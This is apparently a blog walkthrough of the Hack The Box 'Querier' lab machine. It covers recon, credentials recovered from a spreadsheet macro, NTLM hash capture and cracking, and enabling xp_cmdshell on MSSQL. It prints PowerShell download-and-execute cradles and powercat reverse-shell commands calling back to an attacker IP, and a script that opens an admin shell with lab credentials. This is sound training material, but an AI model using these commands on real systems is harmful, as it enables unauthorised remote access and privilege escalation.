/var/log $ cat "Hack The Box - Querier Walkthrough"

2019-06-22 |
hackthebox ctf 

tl;dr

  1. Find MSSQL credentials in a spreadsheet found in public accessible SMB share
  2. Login to the MSSQL server, use ‘xp_dirtree’ command and responder to capture username and password hash
  3. Crack the hash with john
  4. Login again to MSSQL with the stolen credentials and activate xp_cmdshell
  5. Establish a reverse shell and get the user flag
  6. Find admin credentials in cached GPP xml
  7. Establish a root shell and get the root flag

Machine Info

Querier Machine Info

Initial Recon

Starting off with the usual nmap scan we find the following open ports and services:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Nmap scan report for 10.10.10.125
Host is up (0.044s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server  14.00.1000.00
| ms-sql-ntlm-info:
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-06-21T23:08:44
|_Not valid after:  2049-06-21T23:08:44
|_ssl-date: 2019-06-22T15:04:02+00:00; -1h01m57s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1h01m57s, deviation: 0s, median: -1h01m57s
| ms-sql-info:
|   10.10.10.125:1433:
|     Version:
|       name: Microsoft SQL Server
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server
|_    TCP port: 1433
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-06-22 17:04:05
|_  start_date: N/A

Own User

Inital Enumaretion

As there is SMB running it’s always a good starting point to look if there are any shares we can access. Doing so using smbclient we can find a accessible one named ‘Reports’:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ smbclient -L \\10.10.10.125
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
Enter WORKGROUP\root's password:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Connecting to the share and listing it’s contents we find only one file which we download for further examination:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ smbclient //10.10.10.125/Reports
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
Enter WORKGROUP\bb's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Jan 29 00:23:48 2019
  ..                                  D        0  Tue Jan 29 00:23:48 2019
  Currency Volume Report.xlsm         A    12229  Sun Jan 27 23:21:34 2019

                6469119 blocks of size 4096. 1597308 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (66,3 KiloBytes/sec) (average 66,3 KiloBytes/sec)
smb: \> exit

As the .xlsm ending suggests there is a macro embedded in the spreadsheet we have a look inside and see if there is any valuable information. The spreadsheet itself does not contain something useful. But the source of the embedded VBA macro does:

VBA macro source

We find a SQL connection string containing a database name (‘volume’), a user id (‘reporting’) and a password (‘PcwTWTHRwryjc$c6’). As we know from the nmap scan there’s a MSSQL server running we can now try to login.

MSSQL

Using mssqlclient.py from Impacket we can connect to the MSSQL server with the found credentials. MSSQL allows command execution if we do have the right privileges. Unfortunately the user ‘reporting’ does not have them. But there are other ways.

There is also xp_dirtree with which we can get the machine to connect to a SMB share. If the machine connects to a share we control, we can capture the the username and password hash. Therefore we startup responder (https://github.com/lgandx/Responder) and tell the box to connect to our share within mssqlclient.py:

xp_dirtree

And this is what we get in responder:

NTML hash for user ‘mssql-svc’

Using john and the famous ‘rockyou.txt’ we can crack the hash and get the password ‘corporate568’ for the user ‘mssql-svc’.

No that we have the username and password for the MSSQL-service-user we use mssqlclient.py again to get xp_cmdshell working:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ ./mssqlclient.py -windows-auth mssql-svc@10.10.10.125
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> xp_cmdshell "whoami"
[-] ERROR(QUERIER): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned
off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For
more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
SQL> EXEC sp_configure 'show advanced options', 1;
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
output                                                                             

--------------------------------------------------------------------------------   

querier\mssql-svc                                                                  

NULL                                                                               

SQL>

Reverse Shell and User Flag

Starting a netcat listener and using powercat served via a simple Python HTTP server (sudo python -m SimpleHTTPServer 80) we can tell the box to connect back to out attacker machine. Therefore we use the command xp_cmdshell "powershell -c IEX(New-Object System.Net.WebClient).DownloadString(\"http://10.10.14.15/powercat.ps1\");powercat -c 10.10.14.15 -p 443 -e cmd" within the MSSQL console. Now we have a reverse shell as user ‘mssql-svc’ and find the user flag in the desktop folder:

Querier user flag

Own root

Privesc Enumeration

Using the right tools this is pretty straight forward. Running PowerUp.ps1 from PowerSploit collection served by our Python HTTP server in our lowpriv reverse shell (powershell -c IEX(New-Object System.Net.WebClient).DownloadString(\"http://10.10.14.15/PowerUp.ps1\");Import-Module PowerUp.ps1;Invoke-AllChecks) we can find the admin credentials:

Querier administrator credentials found with PowerUp

For more information about what’s behind passwords in GPP have a look at the post Finding Passwords in SYSVOL & Exploiting Group Policy Preferences from Sean Metcalf.

Root Shell and Flag

Unfortunately there is no easy way for switching to another user like su on *nix. After a bit of research I wrote a PowerShell script (‘rootshell.ps1’) which again is served by Python HTTP server and uses powercat for a reverse shell. But this time will end up in a root/admin shell:

0
1
2
3
4
5
6
$username = "administrator"
$pw = "MyUnclesAreMarioAndLuigi!!1!"
$password = ConvertTo-SecureString $pw -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username,$password)
New-PSSession -Credential $cred
Invoke-Command -Session (Get-PSSession) -Scriptblock {IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.15/powercat.ps1');powercat -c 10.10.14.15 -p 443 -e cmd}
Get-PSSession | Remove-PSSession

Killing the lowpriv user shell, starting a new netcat listener and running xp_cmdshell "powershell -c IEX(New-Object System.Net.WebClient).DownloadString(\"http://10.10.14.15/rootshell.ps1\")" in mssqlclient.py now results in a root shell with access to the root flag:

root shell and flag